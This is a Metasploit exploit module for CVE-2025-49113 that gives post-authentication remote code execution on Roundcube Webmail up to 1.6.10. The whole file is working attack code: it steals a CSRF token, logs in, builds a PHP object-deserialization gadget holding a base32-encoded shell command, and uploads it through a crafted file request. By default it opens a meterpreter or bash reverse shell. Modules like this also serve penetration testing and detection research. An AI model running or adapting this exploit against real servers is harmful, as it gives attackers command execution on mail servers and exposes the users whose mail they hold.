📄 Roundcube 1.6.10 Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Exploit::CmdStager
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
            'Description' => %q{
              Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
              by authenticated users because the _from parameter in a URL is not validated
              in program/actions/settings/upload.php, leading to PHP Object Deserialization.
    
              An attacker can execute arbitrary system commands as the web server.
            },
            'Author' => [
              'Maksim Rogov', # msf module
              'Kirill Firsov', # disclosure and original exploit
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-49113'],
              ['URL', 'https://fearsoff.org/research/roundcube']
            ],
            'DisclosureDate' => '2025-06-02',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            },
            'Platform' => ['unix', 'linux'],
            'Targets' => [
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
                  'Type' => :linux_dropper,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => [ARCH_CMD],
                  'Type' => :nix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'DefaultTarget' => 0
          )
          )
    
        register_options(
          [
            OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
            OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
            OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
            OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
          ]
        )
      end
    
      class PhpPayloadBuilder
        def initialize(command)
          @encoded = Rex::Text.encode_base32(command)
          @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
        end
    
        def build
          len = @gpgconf.bytesize
          %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
        end
      end
    
      def fetch_login_page
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'keep_cookies' => true,
          'vars_get' => { '_task' => 'login' }
        )
    
        fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
        fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
        res
      end
    
      def check
        res = fetch_login_page
    
        unless res.body =~ /"rcversion"\s*:\s*(\d+)/
          fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
        end
    
        version = Rex::Version.new(Regexp.last_match(1).to_s)
        print_good("Extracted version: #{version}")
    
        if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
          return CheckCode::Appears
        elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
          return CheckCode::Appears
        end
    
        CheckCode::Safe
      end
    
      def build_serialized_payload
        print_status('Preparing payload...')
    
        stager = case target['Type']
                 when :nix_cmd
                   payload.encoded
                 when :linux_dropper
                   generate_cmdstager.join(';')
                 else
                   fail_with(Failure::BadConfig, 'Unsupported target type')
                 end
    
        serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
        print_good('Payload successfully generated and serialized.')
        serialized
      end
    
      def exploit
        token = fetch_csrf_token
        login(token)
    
        payload_serialized = build_serialized_payload
        upload_payload(payload_serialized)
      end
    
      def fetch_csrf_token
        print_status('Fetching CSRF token...')
    
        res = fetch_login_page
        html = res.get_html_document
    
        token_input = html.at('input[name="_token"]')
        unless token_input
          fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
        end
    
        token = token_input.attributes.fetch('value', nil)
        if token.blank?
          fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
        end
    
        print_good("Extracted token: #{token}")
        token
      end
    
      def login(token)
        print_status('Attempting login...')
        vars_post = {
          '_token' => token,
          '_task' => 'login',
          '_action' => 'login',
          '_url' => '_task=login',
          '_user' => datastore['USERNAME'],
          '_pass' => datastore['PASSWORD']
        }
    
        vars_post['_host'] = datastore['HOST'] if datastore['HOST']
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'POST',
          'keep_cookies' => true,
          'vars_post' => vars_post,
          'vars_get' => { '_task' => 'login' }
        )
    
        fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
        fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
    
        print_good('Login successful.')
      end
    
      def generate_from
        options = [
          'compose',
          'reply',
          'import',
          'settings',
          'folders',
          'identity'
        ]
        options.sample
      end
    
      def generate_id
        random_data = SecureRandom.random_bytes(8)
        timestamp = Time.now.to_f.to_s
        Digest::MD5.hexdigest(random_data + timestamp)
      end
    
      def generate_uploadid
        millis = (Time.now.to_f * 1000).to_i
        "upload#{millis}"
      end
    
      def upload_payload(payload_filename)
        print_status('Uploading malicious payload...')
    
        # 1x1 transparent pixel image
        png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
        boundary = Rex::Text.rand_text_alphanumeric(8)
    
        data = ''
        data << "--#{boundary}\r\n"
        data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
        data << "Content-Type: image/png\r\n\r\n"
        data << png_data
        data << "\r\n--#{boundary}--\r\n"
    
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
          'ctype' => "multipart/form-data; boundary=#{boundary}",
          'data' => data
        })
    
        print_good('Exploit attempt complete. Check for session.')
      end
    end